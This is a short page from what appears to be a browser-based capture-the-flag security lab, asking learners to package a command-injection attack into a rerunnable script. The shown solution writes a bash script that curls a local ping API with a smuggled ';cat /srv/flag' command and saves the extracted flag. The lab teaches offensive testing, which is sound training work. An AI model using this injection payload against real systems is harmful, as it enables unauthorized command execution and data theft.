Build your exploit kit
Package the command-injection attack so you (and the person fixing it) can rerun it in one step. Write an executable script that exploits the target, and produce a clean loot file containing only the flag.
How it works: the terminal below is a real Linux machine running in your browser. Click it and
type. Tasks tick themselves off as you complete them; questions are answered in the box under each task.
Press Reset any time for a fresh machine. Your password on this machine (for
sudo) is student.
Solution explanation
You've gone from a one-off request to a repeatable tool and a clean piece of evidence. That's the whole arc of an engagement in miniature: find the bug, prove it reliably, and hand over something a defender can run to confirm the fix. From here the methodology stays the same as targets get bigger — recon, fingerprint, find where input reaches the system, exploit, and document.
Show solution
cd /home/student
cat > exploit.sh <<'EOF'
#!/bin/bash
TARGET=http://127.0.0.1:8080
curl -s "$TARGET/api/ping?host=127.0.0.1;cat%20/srv/flag" | grep -o 'vulntech{[^}]*}'
EOF
chmod +x exploit.sh
./exploit.sh > flag.txt
cat flag.txt